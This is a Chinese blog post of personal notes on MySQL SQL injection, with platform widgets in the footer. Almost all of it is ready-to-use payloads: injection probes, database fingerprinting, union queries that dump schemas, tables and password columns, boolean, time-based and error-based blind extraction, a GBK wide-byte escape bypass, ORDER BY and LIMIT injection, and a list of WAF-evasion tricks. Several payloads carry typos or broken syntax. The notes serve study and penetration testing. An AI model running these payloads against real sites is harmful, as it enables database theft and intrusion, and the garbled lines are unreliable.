SQL注入(mysql)总结小笔记

**

关于sql的个人总结笔记(有时间会扩展补充)

**
字符:

11‘ or '1'=1 
1' and '1'='2 

数字:

1 and 1=11 and 1=2
1 or 1=11 or 1=2  (如果前后两个语句都是正确的,反而为假)
1 xor 1=11 xor 1=2  (xor后面的语句如果是正确的,则返回错误页面积)
-1-0  (加上 -0,返回的页面和前面的,页面相同,加上-1,返回错误页面)

搜索框判断是否有注入:
简单的判断搜索型注入漏洞存在不存在的办法是先搜索’,如果出错,说明90%存在这个漏洞。然后搜
索%,如果正常返回,说明95%有洞了。
说明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题
操作:

关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
#将and 1=1 换成注入语句就可以了

数据库判断:
1)特有数据表

Mysql:id=1' and exists(select * from information_schema.tables) #
access:id=1' and exists(select * from msysobjects) #
mssql:id=1' and exists(select * from sysobjects) #
orcal:id=1’ and (select count(*) from sys.user_tables)>0#

2)通过各数据库特有的连接符判断

mssql,id=1 and '1' + '1' = '11'
mysql,id=1 and concat('1','1')='11'
oracle,id=1 and '1'||'1'='11'

常用:
Mysql5.0以上特有数据库
在这里插入图片描述

1‘ order by 3--+

-1' union select 1,2,3--+   (id要改成不存在的值)

-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

-1' union select 1,(select schema_name from information_schema.schemata limit 0,1),3 --+

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

-1union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+

-1' union select 1,(group_concat(password) from security.users),3--+

布尔注入:

id=1' and length(database())>7--+   (id=1不需要改为一个数据库不存在的id值)

1.mid()函数
mid(striing,start,length)
string(必需)规定要返回其中一部分的字符串。
start(必需)规定开始位置(起始值是 1)。
length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。
2.ord(a)将a转换成其ASCII值

id=1' and ord()mid() : ord(mid((select user()),1,1))=114--+

3.left()函数
left(string,length)
再怎么解释也不如直接开弄
string(必需)规定要返回其中一部分的字符串
length(可选)规定被返回字符串的前length长度的字符

id=1' and left(database(),1)>'s'--+

4.substr()函数
substr(string,start,length)
string(必需)规定要返回其中一部分的字符串。
start(必需)规定在字符串的何处开始。
length(可选)规定被返回字符串的长度。
5.ascii(a)将a转换成其ASCII值

id=1' and ascii(substr((select(database()),1,1))=98--+

时间盲注:
如果有注入,则延迟时间很长:

id=1' and sleep(5)--+
id=1' and If(ascii(substr(database(),1,1))=114,sleep(3),0)--+  对的返回3秒,错的返回0

报错注入:构造payload 让信息通过错误提示回显
1.floor(),group by 对rand()函数进行操作时产生错误

id=1' and select 1 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a)--+

2.通过ExtractValue()
值得注意的是,extractvalue函数一次只能查询32位长度,在爆表、列、值的时候

id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

可加上limit x,1逐一查询

id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)))--+
ERROR 1105 (HY000): XPATH syntax error: '~users~'

and xxxxx not in 'xxx','xxx'过滤掉前面回显的

id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name= 'users' ))))--+
ERROR 1105 (HY000): XPATH syntax error: '~user_id,first_name,last_name,us'
//以上用group_concat未过滤的只能显示32位长度
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name= 'users' and column_name not in ('user_id','first_name','last_name'))))--+
ERROR 1105 (HY000): XPATH syntax error: '~user,password,avatar,last_login'

用substring()函数截取

id=1' select extractvalue(1,concat(0x7e,substring(hex(database()),1,32)))--+
ERROR 1105 (HY000): XPATH syntax error: '~7365637572697479'
//substring(hex(aaa),x,y)中,x为从起始偏移值,y为长度,可变

3.通过UpdateXml()

爆数据库版本信息:?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+
链接用户:?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
链接数据库:?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

宽字节注入:针对’被\转义
对’进行了\转义,只需要在\前添加%df或别的编码,与\构成两字节的GBK编码绕过

-1%df' union select 1,2,3--+

二次注入:
将构造的恶意数据添加进数据库,恶意数据被二次调用触发注入

内联注释
将where子句使用内联注释包裹,虽然where子句被注释,但是非常明显,子句依然有效
内联注释特性

/*!*//*!select*//*!**//*!from*//*!yz*/

在内联注释中的数字小于等于版本号时,sql语句可以被执行,反之则不可以。

/*!*//*!80012select*//*!**//*!from*//*!yz*/
绕过:

大小写:
waf过滤了关键字select,可以尝试使用Select等绕过。
双写关键字绕过:

select变成seleselectct

特殊编码绕过:

Test 等价于0x7465737431;
Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)(新版mysql不能用了)

空格过滤绕过:

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

过滤or and xor not 绕过:

and = &&
or = ||
xor = | 

过滤等号=绕过:
不加通配符(%)的like

过滤大小于号绕过:
greatest(n1, n2, n3…):返回n中的最大值;least(n1,n2,n3…):返回n中的最小值

id=1‘ and greatest(ascii(substr(username,1,1)),1)=116--+
id=1‘ and least(ascii(substr(username,1,1)),1)=116

strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

id=1' and strcmp(ascii(substr(username,1,1)),117)--+

in关键字

id=1' and substr(username,1,1) in ('t')--+

between a and b判等

id=1' and substr(username,1,1) between 't' and 't'--+

过滤引号绕过:
使用十六进制;宽字节

过滤逗号绕过:

union select 1,2,3 等价于 union select * from (select 1)a join (select 2)b join(select 3)c

order by 注入:

/?order=IF(1=1,name,price)   通过name字段排序
/?order=IF(1=2,name,price)   通过price字段排序

返回多条记录

/?order=IF(1=1,1,(select+1+from+information_schema.tables))  页面正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables))  页面错误

利用updatexml

/?order=updatexml(1,if(1=1,1,user()),1)  正确
/?order=updatexml(1,if(1=2,1,user()),1)  错误

时间盲注

/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间
/?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2

详细请参考:https://www.cnblogs.com/icez/p/Mysql-Order-By-Injection-Summary.html

limit注入:

limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

可爆出:ERROR 1105 (HY000): XPATH syntax error: ‘:5.5.53’

 
******************************************************

更多注入扩展等自己再扩展了再更新哦~

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值